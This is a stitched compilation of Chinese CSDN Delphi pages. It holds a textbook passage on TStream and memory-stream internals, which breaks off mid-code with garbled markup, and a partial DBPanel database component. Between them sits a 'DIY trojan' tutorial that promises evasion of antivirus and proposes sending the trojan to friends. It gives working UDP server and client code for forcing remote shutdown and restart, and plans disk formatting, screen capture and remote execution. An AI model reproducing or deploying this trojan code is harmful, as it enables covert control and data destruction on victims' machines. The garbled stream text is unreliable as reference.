    Stream对象，又称流式对象，是TStream、THandleStream、TFileStream、TMemoryStream、TResourceStream和TBlobStream等的统称。它们分别代表了在各种媒介上存储数据的能力，它们将各种数据类型(包括对象和部件) 在内存、外存和数据库字段中的管理操作抽象为对象方法，并且充分利用了面向对象技术的优点，应用程序可以相当容易地在各种Stream对象中拷贝数据。

    下面介绍各种对象的数据和方法及使用方法。

20.1.1 TStream对象

    TStream对象是能在各种媒介中存储二进制数据的对象的抽象对象。从TStream 对象继承的对象用于在内存、Windows资源文件、磁盘文件和数据库字段等媒介中存储数据。

    TStream中定义了两个属性：Size和Position。它们分别以字节为单位表示的流的大小和当前指针位置。TStream中定义的方法用于在各种流中读、写和相互拷贝二进制数据。因为所有的Stream对象都是从TStream中继承来的，所以在TStream中定义的域和方法都能被Stream对象调用和访问。此外，又由于面向对象技术的动态联编功能，TStream为各种流的应用提供了统一的接口，简化了流的使用；不同Stream对象是抽象了对不同存储媒介的数据上的操作，因此，TStream的需方法为在不同媒介间的数据拷贝提供了最简捷的手段。

20.1.1.1 TStream的属性和方法

    1. Position属性

声明：property Position: Longint;

    Position属性指明流中读写的当前偏移量。

    2. Size属性

    声明：property Size: Longint;

Size属性指明了以字节为单位的流的的大小，它是只读的。

    3. CopyFrom方法

    声明：function CopyFrom(Source: TStream; Count: Longint): Longint;

CopyFrom从Source所指定的流中拷贝Count个字节到当前流中， 并将指针从当前位置移动Count个字节数，函数返回值是实际拷贝的字节数。

    4. Read方法

    声明：function Read(var Buffer; Count: Longint): Longint; virtual; abstract;

Read方法从当前流中的当前位置起将Count个字节的内容复制到Buffer中，并把当前指针向后移动Count个字节数，函数返回值是实际读的字节数。如果返回值小于Count，这意味着读操作在读满所需字节数前指针已经到达了流的尾部。

    Read方法是抽象方法。每个后继Stream对象都要根据自己特有的有关特定存储媒介的读操作覆盖该方法。而且流的所有其它的读数据的方法（如：ReadBuffer，ReadComponent等）在完成实际的读操作时都调用了Read方法。面向对象的动态联编的优点就体现在这儿。因为后继Stream对象只需覆盖Read方法，而其它读操作(如ReadBuffer、ReadComponent等)都不需要重新定义，而且TStream还提供了统一的接口。

    5. ReadBuffer方法

    声明：procedure ReadBuffer(var Buffer; Count: Longint);

    ReadBuffer方法从流中将Count个字节复制到Buffer 中， 并将流的当前指针向后移动Count个字节。如读操作超过流的尾部，ReadBuffer方法引起EReadError异常事件。

    6. ReadComponent方法

   声明：function ReadComponent(Instance: TComponent): TComponent;

ReadComponent方法从当前流中读取由Instance所指定的部件，函数返回所读的部件。ReadComponent在读Instance及其拥有的所有对象时创建了一个Reader对象并调用它的ReadRootComponent方法。

    如果Instance为nil，ReadComponent的方法基于流中描述的部件类型信息创建部件，并返回新创建的部件。

    7. ReadComponentRes方法

    声明：function ReadComponentRes(Instance: TComponent): TComponent;

ReadComponentRes方法从流中读取Instance指定的部件，但是流的当前位置必须是由WriteComponentRes方法所写入的部件的位置。

    ReadComponentRes 首先调用ReadResHeader方法从流中读取资源头，然后调用ReadComponent方法读取Instance。如果流的当前位置不包含一个资源头。ReadResHeader将引发一个EInvalidImage异常事件。在Classes库单元中也包含一个名为ReadComponentRes的函数，该函数执行相同的操作，只不过它基于应用程序包含的资源建立自己的流。

    8. ReadResHeader方法

    声明：procedure ReadResHeader;

ReadResHeader方法从流的当前位置读取Windows资源文件头，并将流的当前位置指针移到该文件头的尾部。如果流不包含一个有效的资源文件头，ReadResHeader将引发一个EInvalidImage异常事件。

    流的ReadComponentRes方法在从资源文件中读取部件之前，会自动调用ReadResHeader方法，因此，通常程序员通常不需要自己调用它。

    9. Seek方法

    声明：function Seek(Offset: Longint; Origin: Word): Longint; virtual; abstract;

Seek方法将流的当前指针移动Offset个字节，字节移动的起点由Origin指定。如果Offset是负数，Seek方法将从所描述的起点往流的头部移动。下表中列出了Origin的不同取值和它们的含义：

表20.1 函数Seek的参数的取值

  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

    常量　　　　　　　值　　 　　　Seek的起点 Offset的取值

─────────────────────────────────

  SoFromBeginning 0 　流的开头 正 数

  SoFromCurrent 1 流的当前位置 正数或负数

  SoFromEnd 2 流的结尾 负 数

  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

   10. Write方法

    在Delphi对象式管理的对象中有两类对象的方法都有称为Write的：Stream对象和Filer对象。Stream对象的Write方法将数据写进流中。Filer对象通过相关的流传递数据，在后文中会介绍这类方法。

    Stream对象的Write方法声明如下：

function Write(const Buffer; Count: Longint): Longint; virtual; abstract;

Write方法将Buffer中的Count个字节写入流中，并将当前位置指针向流的尾部移动Count个字节，函数返回写入的字节数。

   TStream的Write方法是抽象的，每个继承的Stream对象都要通过覆盖该方法来提供向特定存储媒介(内存、磁盘文件等)写数据的特定方法。流的其它所有写数据的方法(如WriteBuffer、WriteComponent)都调用Write担当实际的写操作。

    11. WriteBuffer方法

    声明：procedure WriteBuffer(const Buffer; Count: Longint);

    WriteBuffer的功能与Write相似。WriteBuffer方法调用Write来执行实际的写操作，如果流没能写所有字节，WriteBuffer会触发一个EWriteError异常事件。

    12. WriteComponent方法

    在Stream对象和Filer对象都有被称为WriteComponent的方法。Stream对象的WriteComponent方法将Instance所指定的部件和它所包含的所有部件都写入流中；Writer对象的WriteComponent将指定部件的属性值写入Writer对象的流中。

    Stream对象的WriteComponent方法声明是这样的：

procedure WriteComponent(Instance: Tcomponent);

    WriteComponent创建一个Writer对象，并调用Writer的WriteRootComponent方法将Instance及其拥有的对象写入流。

    13. WriteComponentRes方法

    声明：WriteComponentRes(const ResName: String; Instance: TComponent);

    WriteComponentRes方法首先往流中写入标准Windows 资源文件头，然后将Instance指定的部件写入流中。要读由WriteComponentRes写入的部件，必须调用ReadComponentRes方法。

    WriteComponentRes使用ResName传入的字符串作为资源文件头的资源名，然后调用WriteComponent方法将Instance和它拥有的部件写入流。

    14. WriteDescendant方法

    声明：procedure WriteDescendant(Instance Ancestor: TComponent);

    Stream对象的WriteDescendant方法创建一个Writer对象，然后调入该对象的WriteDescendant方法将Instance部件写入流中。Instance可以是从Ancestor部件继承的窗体，也可以是在从祖先窗体中继承的窗体中相应于祖先窗体中Ancestor部件的部件。

    15. WriteDescendantRes方法

    声明：procedure WriteDescendantRes(const ResName: String;

Instance, Ancestor: TComponent);

    WriteDescendantRes方法将Windows资源文件头写入流，并使用ResName作用资源名，然后调用WriteDescendant方法，将Instance写入流。

20.1.1.2 TStream的实现原理

    TStream对象是Stream对象的基础类，这是Stream对象的基础。为了能在不同媒介上的存储数据对象，后继的Stream对象主要是在Read和Write方法上做了改进，。因此，了解TStream是掌握Stream对象管理的核心。Borland公司虽然提供了Stream对象的接口说明文档，但对于其实现和应用方法却没有提及，笔者是从Borland Delphi 2.0 Client/Server Suite 提供的源代码和部分例子程序中掌握了流式对象技术。

    下面就从TStream的属性和方法的实现开始。

    1. TStream属性的实现

    前面介绍过，TStream具有Position和Size两个属性，作为抽象数据类型，它抽象了在各种存储媒介中读写数据所需要经常访问的域。那么它们是怎样实现的呢？

    在自定义部件编写这一章中介绍过部件属性定义中的读写控制。Position和Size也作了读写控制。定义如下：

property Position: Longint read GetPosition write SetPosition;

property Size: Longint read GetSize;

    由上可知，Position是可读写属性，而Size是只读的。

    Position属性的实现就体现在GetPosition和SetPosition。当在程序运行过程中，任何读取Position的值和给Position赋值的操作都会自动触发私有方法GetPosition和SetPosition。两个方法的声明如下：

function TStream.GetPosition: Longint;

begin

Result := Seek(0, 1);

end;

procedure TStream.SetPosition(Pos: Longint);

begin

Seek(Pos, 0);

end;

在设置位置时，Delphi编译机制会自动将Position传为Pos。

    前面介绍过Seek的使用方法，第一参数是移动偏移量，第二个参数是移动的起点，返回值是移动后的指针位置。

    Size属性的实现只有读控制，完全屏蔽了写操作。读控制方法GetSize实现如下：

function TStream.GetSize: Longint;

var

Pos: Longint;

begin

Pos := Seek(0, 1);

Result := Seek(0, 2);

Seek(Pos, 0);

end;

2. TStream方法的实现

    ⑴ CopyFrom方法

    CopyFrom是Stream对象中很有用的方法，它用于在不同存储媒介中拷贝数据。例如，内存与外部文件之间、内存与数据库字段之间等。它简化了许多内存分配、文件打开和读写等的细节，将所有拷贝操作都统一到Stream对象上。

    前面曾介绍：CopyFrom方法带Source和Count两个参数并返回长整型。该方法将Count个字节的内容从Source拷贝到当前流中，如果Count值为0则拷贝所有数据。

function TStream.CopyFrom(Source: TStream; Count: Longint): Longint;

const

MaxBufSize = $F000;

var

BufSize, N: Integer;

Buffer: PChar;

begin

if Count = 0 then

begin

Source.Position := 0;

CouNG="ZH-CN">资源文件中的部件时调用，通常程序员不需自己调用。如果读取的不是资源文件ReadResHeader，将触发异常事件。

procedure TStream.ReadResHeader;

var

ReadCount: Longint;

Header: array[0..79] of Char;

begin

FillChar(Header, SizeOf(Header), 0);

ReadCount := Read(Header, SizeOf(Header) - 1);

if (Byte((@Header[0])^) = $FF) and (Word((@Header[1])^) = 10) then

Seek(StrLen(Header + 3) + 10 - ReadCount, 1)

else

raise EInvalidImage.CreateRes(SInvalidImage);

end;

    ReadComponentRes在Windows资源文件中读取部件，为了判断是否是资源文件，它首先调用ReadResHeader方法，然后调用ReadComponent方法读取Instance指定的部件。下面是它的实现：

function TStream.ReadComponentRes(Instance: TComponent): TComponent;

begin

ReadResHeader;

Result := ReadComponent(Instance);

end;

  与ReadComponentRes相应的写方法是WriteComponentRes，Delphi 调用这两个方法读写窗体文件(DFM文件)，在后面书中会举用这两个方法读取DFM文件的例子。

    ⑷ WriteComponent和WriteDescendant方法

    Stream对象的WriteDescendant方法在实现过程中，创建了TWriter对象，然后利用TWriter的WriteDescendant方法将Instance写入流。而WriteComponent方法只是简单地调用WriteDescendant方法将Instance写入流。它们的实现如下：

procedure TStream.WriteComponent(Instance: TComponent);

begin

WriteDescendent(Instance, nil);

end;

procedure TStream.WriteDescendent(Instance, Ancestor: TComponent);

var

Writer: TWriter;

begin

Writer := TWriter.Create(Self, 4096);

try

Writer.WriteDescendent(Instance, Ancestor);

finally

Writer.Free;

end;

end;

    ⑸ WriteDescendantRes和WriteComponentRes方法

    WriteDescendantRes方法用于将部件写入Windows资源文件；而WriteComponentRes 方法只是简单地调用WriteDescendantRes方法，它们的实现如下：

procedure TStream.WriteComponentRes(const ResName: string; Instance:

TComponent);

begin

WriteDescendentRes(ResName, Instance, nil);

end;

procedure TStream.WriteDescendentRes(const ResName: string; Instance,

Ancestor: TComponent);

var

HeaderSize: Integer;

Origin, ImageSize: Longint;

Header: array[0..79] of Char;

begin

Byte((@Header[0])^) := $FF;

Word((@Header[1])^) := 10;

HeaderSize := StrLen(StrUpper(StrPLCopy(@Header[3], ResName, 63))) + 10;

Word((@Header[HeaderSize - 6])^) := $1030;

Longint((@Header[HeaderSize - 4])^) := 0;

WriteBuffer(Header, HeaderSize);

Origin := Position;

WriteDescendent(Instance, Ancestor);

ImageSize := Position - Origin;

Position := Origin - 4;

WriteBuffer(ImageSize, SizeOf(Longint));

Position := Origin + ImageSize;

end;

    WriteCompnentRes是与ReadComponentRes相应的对象写方法，这两个方法相互配合可读取Delphi的DFM文件，从而利用Delphi系统的功能。

20.1.2 THandleStream对象

    THandleStream对象的行为特别象FileStream对象，所不同的是它通过已创建的文件句柄而不是文件名来存储流中的数据。

    THandleStream对象定义了Handle属性，该属性提供了对文件句柄的只读访问，并且Handle属性可以作为Delphi的RTL文件管理函数的参数，利用文件类函数来读写数据。THandleStream覆盖了构造函数Create，该函数带有Handle 参数，该参数指定与THandleStream对象相关的文件句柄。

20.1.2.1 THandleStream的属性的方法：

    1. Handle属性

    声明：property Handle: Integer;

Handle属性提供了对文件句柄的只读访问，该句柄由THandleStream的构造方法Create传入。因此除了用THandleStream提供的方法外，也可以用文件管理函数对句柄进行操作。实际上，THandleStream的方法在实现上也是运用文件管理函数进行实际的读写操作。

    2. Create方法

    声明：constructor Create(AHandle: Integer);

    Create方法使用传入的Handle参数创建一个与特定文件句柄相联的THandleStream对象，并且将AHandle赋给流的Handle属性。

    3. Read、Write和Seek方法

    这三个方法是TStream的虚方法，只是在THandleStream 中覆盖了这三个方法，以实现特定媒介──文件的数据存取。后面会详细介绍这三个方法的实现。

20.1.2.2 THandleStream的实现原理

    THandleStream是从TStream继承来的，因此可以共用TStream中的属性和大多数方法。THandleStream在实现上主要是增加了一个属性Handle和覆盖了Create、Read、Write和Seek四个方法。

    1. 属性的实现

    Handle属性的实现正如Delphi大多数属性的实现那样，先在对象定义的private部分声明一个存放数据的变量FHandle，然后在定义的public部分声明属性Handle，其中属性定义的读写控制部分加上只读控制，读控制只是直接读取FHandle变量的值，其实现如下：

THandleStream = class(TStream)

private

FHandle: Integer;

public

…

property Handle: Integer read FHandle;

end;

2. 方法的实现

    THandleStream的Create方法，以AHandle作为参数，在方法里面只是简单的将AHandle的值赋给FHandle，其实现如下：

constructor THandleStream.Create(AHandle: Integer);

begin

FHandle := AHandle;

end;

    为实现针对文件的数据对象存储，THandleStream的Read、Write和Seek方法覆盖了TStream中的相应方法。它们的实现都调用了Windows的文件管理函数。

    Read方法调用FileRead函数实现文件读操作，其实现如下：

function THandleStream.Read(var Buffer; Count: Longint): Longint;

begin

Result := FileRead(FHandle, Buffer, Count);

if Result = -1 then Result := 0;

end;

    Write方法调用FileWrite函数实现文件写操作，其实现如下：

function THandleStream.Write(const Buffer; Count: Longint): Longint;

begin

Result := FileWrite(FHandle, Buffer, Count);

if Result = -1 then Result := 0;

end;

    Seek方法调用FileSeek函数实现文件指针的移动，其实现如下：

function THandleStream.Seek(Offset: Longint; Origin: Word): Longint;

begin

Result := FileSeek(FHandle, Offset, Origin);

end;

20.1.3 TFileStream对象

    TFileStream对象是在磁盘文件上存储数据的Stream对象。TFileStream是从THandleStream继承下来的，它和THandleStream一样都是实现文件的存取操作。不同之处在于THandleStream用句柄访问文件，而TFileStream用文件名访问文件。实际上TFileStream是THandleStream上的一层包装，其内核是THandleStream的属性和方法。

    TFileStream中没有增加新的属性和方法。它只是覆盖了的构造方法Create和析构方法Destory。在Create方法中带两个参数FileName和Mode。FileName描述要创建或打开的文件名，而Mode描述文件模式如fmCreate、fmOpenRead和fmOpenWrite等。Create方法首先使用FileCreate或FileOpen函数创建或打开名为FileName的文件，再将得到的文件句柄赋给FHandle。TFileStream的文件读写操作都是由从THandleStream继承的Read

var

Stream: TStream;

begin

Stream := TFileStream.Create(FileName, fmCreate);

try

SaveToStream(Stream);

finally

Stream.Free;

end;

end;

    在Delphi 的许多对象的SaveToStream 和SaveToFile、LoadFromStream和LoadFromFile方法的实现都有类似的嵌套结构。

20.1.5 TMemoryStream对象

   TMemoryStream对象是一个管理动态内存中的数据的Stream对象，它是从TCustomMemoryStream中继承下来的，除了从TCustomMemoryStream中继承的属性和方法外，它还增加和覆盖了一些用于从磁盘文件和其它注台读数据的方法。它还提供了写入、消除内存内容的动态内存管理方法。下面介绍它的这些属性和方法。

20.1.5.1 TMemoryStream的属性和方法

    1. Capacity属性

    声明：property Copacity: Longint;

Capacity属性决定了分配给内存流的内存池的大小。这与Size属性有些不同。Size属性是描述流中数据的大小。在程序中可以将Capacity 的值设置的比数据所需最大内存大一些，这样可以避免频繁地重新分配。

    2. Realloc方法

    声明：function Realloc(var NewCapacity: Longint): Pointer; virtual;

Realloc方法，以8K为单位分配动态内存，内存的大小由NewCapacity指定，函数返回指向所分配内存的指针。

    3. SetSize方法

    SetSize方法消除内存流中包含的数据，并将内存流中内存池的大小设为Size字节。如果Size为零，是SetSize方法将释放已有的内存池，并将Memory属性置为nil；否则，SetSize方法将内存池大小调整为Size。

4. Clear方法

    声明：procedure Clear;

Clear方法释放内存中的内存池，并将Memory属性置为nil。在调用Clear方法后，Size和Position属性都为0。

    5. LoadFromStream方法

    声明：procedure LoadFromStream(Stream: TStream);

LoadFromStream方法将Stream指定的流中的全部内容复制到MemoryStream中，复制过程将取代已有内容，使MemoryStream成为Stream的一份拷贝。

    6. LoadFromFile方法

    声明：procedure LoadFromFile(count FileName: String);

LoadFromFile方法将FileName指定文件的所有内容复制到MemoryStream中，并取代已有内容。调用LoadFromFile方法后，MemoryStream将成为文件内容在内存中的完整拷贝。

20.1.5.2 TMemoryStream对象的实现原理

    TMemoryStream从TCustomMemoryStream对象直接继承，因此可以享用TCustomMemoryStream的属性和方法。前面讲过，TCustomMemoryStream是用于内存中数据操作的抽象对象，它为MemoryStream对象的实现提供了框架，框架中的内容还要由具体MemoryStream对象去填充。TMemoryStream对象就是按动态内存管理的需要填充框架中的具体内容。下面介绍TMemoryStream对象的实现。

    1. TMemoryStream属性的实现

    TMemoryStream在其protected部分增加了一个Capacity属性，该属性决定了MemoryStream所占动态内存的大小。TMemoryStream首先在private部分声明了FCapacity变量作为存储Capacity属性值的数据域，然后在protected部分声明了该属性。在属性声明的读控制部分简单读取FCapacity的值，在写控制处调用了方法SetCapacity。该方法除了给FCapacity赋值外还执行了修改Capacity属性所必需操作如状态改变等。

    下面是属性的实现：

TMemoryStream = class(TCustomMemoryStream)

private

FCapacity: Longint;

procedure SetCapacity(NewCapacity: Longint);

protected

…

property Capacity: Longint read FCapacity write SetCapacity;

public

…

end;

    写控制方法SetCapacity的实现是这样的：

procedure TMemoryStream.SetCapacity(NewCapacity: Longint);

begin

SetPointer(Realloc(NewCapacity), FSize);

FCapacity := NewCapacity;

end;

    在SetCapacity 方法先是调用Realloc重新分配内存，然后用NewCapacity的值给FCapacity赋值。Realloc方法进行某些对象状态的改变。

    2. TMemoryStream对象方法的实现

    ⑴ Realloc方法

    Realloc方法是TMemoryStream动态内存分配的核心，它的SetSize、SetCapacity等方法最终都是调用Realloc进行内存的分配和初始化工作的。它的实现如下：

const

MemoryDelta = $2000;

function TMemoryStream.Realloc(var NewCapacity: Longint): Pointer;

begin

if NewCapacity > 0 then

NewCapacity := (NewCapacity + (MemoryDelta - 1)) and not (MemoryDelta - 1);

Result := Memory;

if NewCapacity <> FCapacity then

begin

if NewCapacity = 0 then

begin

GlobalFreePtr(Memory);

Result := nil;

end else

begin

if Capacity = 0 then

Result := GlobalAllocPtr(HeapAllocFlags, NewCapacity)

else

Result := GlobalReallocPtr(Memory, NewCapacity, HeapAllocFlags);

if Result = nil then raise EStreamError.CreateRes(SMemoryStreamError);

end;

end;

end;

    Realloc方法是以8K为单位分配动态内存的，方法中的第一句if语句就是执行该操作。如果传入的NewCapacity参数值为0，则释放流中的内存。Realloc方法用GLobal FreePtr函数释放内存，用GlobalAllocPtr分配内存，用GlobalReallocPtr进行内存的重分配。如果原来的Capacity属性值为0，则调用Globa|AllocPtr否则调用GlobalReallocPtr。最后如果Result为nil则触发内存流错的异常事件，否则返回指向分配的内存的指针。

    ⑵ Write方法

    Write方法从内存流内部缓冲池的当前位置开始写入二进制数据。其实现如下：

function TMemoryStream.Write(const Buffer; Count: Longint): Longint;

var

Pos: Longint;

begin

if (FPosition >= 0) and (Count >= 0) then

begin

Pos := FPosition + Count;

if Pos > 0 then

begin

if Pos > FSize then

begin

if Pos > FCapacity then

SetCapacity(Pos);

FSize := Pos;

end;

System.Move(Buffer, Pointer(Longint(FMemory) + FPosition)^, Count);

FPosition := Pos;

Result := Count;

Exit;

end;

end;

Result := 0;

end;

    Buffer中存储要写入流的二进制数据，如果要写入的数据的字节超出了流的内存池的大小，则调用SetCapacity方法再分配内存，然后用内存复制函数将Buffer中的数据复制到FMemory中。接着移动位置指针，并返回写入数据的字节数。分析这段程序可以知道，FCapacity的值和FSize的值是不同的。

    ⑶ Clear方法

    Clear方法消除内存流中的数据，将Memory属性置为nil，并将FSize和FPosition 的值设为0。其实现如下：

procedure TMemoryStream.Clear;

begin

SetCapacity(0);

FSize := 0;

FPosition := 0;

end;

    ⑷ LoadFromStream和LoadFromFile方法

    LoadFromStream方法首先根据传入的Stream的Size属性值重新分配动态内存，然后调用Stream的ReadBuffer方法往FMemory中复制数据，结果Stream的全部内容在内存中有了一份完整拷贝。其实现如下：

procedure TMemoryStream.LoadFromStream(Stream: TStream);

var

Count: Longint;

begin

Stream.Position := 0;

Count := Stream.Size;

SetSize(Count);

if Count <> 0 then Stream.ReadBuffer(FMemory^, Count);

end;

   LoadFromFile与LoadFromStream是一对方法。LoadFromFile首先创建了一个TFileStream对象，然后调用LoadFromStream方法，将FileStream文件流中的数据写入MemoryStream中。


CSDN_文档中心_木马DIY（一）

大家好呀，老妖终于有时间更新主页了，最近查阅了一些资料，找了一些大家应该很感兴趣的东东，感谢清宏工作室，老妖从他们那里学到很多东东。本文内容就参考并使用了了他们的的源程序。现在各种杀毒软件搞得冰河等等木马鼠串，没有容身之地，你自己做一个木马就不一样了，嘿嘿，发给你的好友，杀得出来才怪事情。
UDP协议用处多多，现在让我们用它来搞一个木马，一个简单的搞恶作剧的木马。首先，我们列举一下应该实现的功能，能对目标机进行关闭重启动；能让对方两眼一抹黑，黑屏，并且能解除；给对方弹点调侃的消息框；能把对方的鼠标锁定在某个区域内；能隐藏或者显示对方桌面；能抓屏，看看她（他）在干什么；能让对方的光驱像得了抽风病一样进进出出；能在对方机器上远程运行点其他木马什么什么的；直接格式化对方逻辑盘，C:盘也可以在重新启动后格式化（此招太黑，不可乱用）。
能对本文产生兴趣的朋友，一定对远程控制程序结构不陌生，服务端和客户端，我们先不讨论怎么实现服务端的隐藏运行，先来看看实现第一个功能，远程关机的实现，我们调用API函exitwindowsex。服务端的程序头如下
unit Server;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem;
//记住加上shellapi,mmsystem;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
CUDP: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
//拦截WM_QUERYENDSESSION消息并处理
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;

{$R *.DFM}
这个远程控制的原理是客户端通过发送控制码让服务端实现相应的操作，下面是服务端DataReceived事件

procedure TForm1.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..250] of char;
Trun:string;
hDesktop : Thandle;
forc,ford:textfile;
//定义向Autoexec.bat写格式化命令，以后用到
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]+CtrlCode[6]='restart' then
//重新启动计算机
ExitWindowsEx(EWX_REBOOT,2);

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='close' then
//关闭计算机
ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF ,1);
end;

服务端程序雏形就形成了，让我们来添砖加瓦，实现丰富的功能。再来说一下客户端的基本实现，也加入一个NMUDP控件，程序头如下
unit Server;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, NMUDP, StdCtrls;

type
TForm1 = class(TForm)
SUDP: TNMUDP;
MainMenu1: TMainMenu;
WIndows1: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
N9: TMenuItem;
N10: TMenuItem;
N11: TMenuItem;
N12: TMenuItem;
N13: TMenuItem;
N14: TMenuItem;
N15: TMenuItem;
N16: TMenuItem;
N17: TMenuItem;
N18: TMenuItem;
N19: TMenuItem;
N20: TMenuItem;
N21: TMenuItem;
N22: TMenuItem;
N23: TMenuItem;
Edit2: TEdit;
StaticText1: TStaticText;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure N7Click(Sender: TObject);
procedure N9Click(Sender: TObject);
procedure N10Click(Sender: TObject);
procedure N13Click(Sender: TObject);
procedure N12Click(Sender: TObject);
procedure N15Click(Sender: TObject);
procedure N16Click(Sender: TObject);
procedure N17Click(Sender: TObject);
procedure N18Click(Sender: TObject);
procedure N19Click(Sender: TObject);
procedure N20Click(Sender: TObject);
procedure N21Click(Sender: TObject);
procedure N22Click(Sender: TObject);
procedure N23Click(Sender: TObject);
private
procedure winexit(var msg:tmessage);message wm_queryendsession;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;//创建数据流

procedure TForm1.N1Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='restart';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;//发送重启指令

procedure TForm1.N2Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='close';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;发送关机指令

里面用到的edit，menu等控件就让读者自己加到form上了，相信大家应该看得懂，以后陆续贴出实现其他功能的代码，主体就是上面的程序。其实远程关机不仅仅用在木马上面，由于使用的是UDP协议，把客户端做成扫描，就可以可以实现大面积的扫描关机，非常方便，不需要一个一个连上去再关，老妖就准备用来管理机房计算机。

老妖 [感谢清宏工作室]创作


CSDN_文档中心_能够处理任何数据库字段的Panel

unit DBPanel;

interface

uses
windows, messages, sysutils, classes,graphics, controls, forms, dialogs,
extctrls, dbctrls, stdctrls, db;

type
TDBPanel = class(tpanel)
private
{ private declarations }
fleft: integer;
ftop: integer;
maxtextlen: integer;
maxlabellen: integer;
fscrollbox: tscrollbox; {滚动控件}
flineheight: integer;
fclick: tnotifyevent;
editors: array of tdbcombobox;
file://- >具体进行编辑所用的数据控件数组，动态生成
labels: array of tlabel;
file://- >各字段的标题，动态生成
okbutton: tbutton;
file://- >最后增加的确定按钮，用于实现提交动作。
{ 数据源}
fdatasource: tdatasource;
fcolumns: integer;
file://- >输入表格的列数
protected
{ protected declarations }
procedure freeeditors;
file://- >释放数据输入控件的内存
public
procedure createeditors(ds: tdatasource; colcount: integer);
file://- >创建各字段的数据输入控件
constructor create(aowner:
tcomponent); override;
destructor destroy; override;
procedure akeypress(sender:
tobject; var key: char);
procedure akeydown(sender:
tobject; var key: word; shift:
tshiftstate);
procedure clearhits(itemindex: integer);
procedure addhits(itemindex:
integer; hits: array of string);
function editor(index: integer):
tdbcombobox;
{ public declarations }
published
property leftlimit: integer read
fleft write fleft default 10;
property toplimit: integer read
ftop write ftop default 10;
property editorlen: integer read
maxtextlen write maxtextlen;
property labellen: integer read
maxlabellen write maxlabellen default 100;
property lineheight: integer read
flineheight write flineheight default 15;
property onokclick: tnotifyevent
read fclick write fclick;
property datasource: tdatasource
read fdatasource write fdatasource;
file://数据源
property columns: integer read
fcolumns write fcolumns;//- >表列数
{ published declarations }
end;
procedure Register;

implementation

{ 为第i字段增加提示信息的方法}
procedure tdbpanel.addhits(itemindex:
integer; hits: array of string);
var
m,n,i: integer;
begin
n := length(editors);
m := length(hits);
if itemindex< n then begin
for i:=0 to m-1 do editors[itemindex].items.add(hits[i]);
end;
end;

procedure tdbpanel.akeydown
(sender: tobject; var key: word;
shift: tshiftstate);
begin
if (sender is tdbcombobox) then begin
case key of
vk_next: (sender as tdbcombobox)
.datasource.dataset.next;
vk_prior: (sender as tdbcombobox)
.datasource.dataset.prior;
end;
end;
end;

procedure tdbpanel.akeypress(sender: tobject; var key: char);
begin
if (sender is tdbcombobox) then begin
if key=#13 then (owner as tform).perform(wm_nextdlgctl, 0, 0);
end;
end;

procedure tdbpanel.clearhits(itemindex: integer);
var
n: integer;
begin
n := length(editors);
if itemindex< n then editors[itemindex].items.clear;
end;

constructor tdbpanel.create(aowner: tcomponent);
begin
inherited create(aowner);
fleft :=10;
ftop := 10;
maxtextlen := 100;
maxlabellen := 100;
flineheight := 15;
end;

{ 创建各字段的数据输入控件的方法}
procedure tdbpanel.createeditors(ds: tdatasource; colcount: integer);
var
i, n, rowcount: integer;
textheight: integer;
begin
if datasource.dataset.active then begin
n := datasource.dataset.fieldcount;
{ 计算最大的标题长度及显示长度}
datasource.dataset.first;
{ 计算高度}
textheight := canvas.textheight(datasource
.dataset.fields[0].displaylabel) + flineheight; file://10;
{ 计算行列数}
rowcount := n div columns;
if n mod columns <> 0 then inc(rowcount);
{ 分配内存}
freeeditors;
setlength(editors, n);
setlength(labels, n);
{ 创建滚动盒}
fscrollbox := tscrollbox.create(owner);
fscrollbox.parent := self;
fscrollbox.align := alclient;
{ 创建编辑}
for i:=0 to n-1 do begin
{ 创建标题}
labels[i] := tlabel.create(owner);
labels[i].parent := fscrollbox; file://self;
labels[i].caption := datasource.dataset.fields[i].displaylabel;
labels[i].left := fleft + (maxlabellen +
maxtextlen + 10) * (i div rowcount);
labels[i].width := maxlabellen;
labels[i].top := ftop + (i mod rowcount) * textheight + 5;
{ 创建编辑对象}
editors[i] := tdbcombobox.create(owner);
editors[i].parent := fscrollbox; file://self;
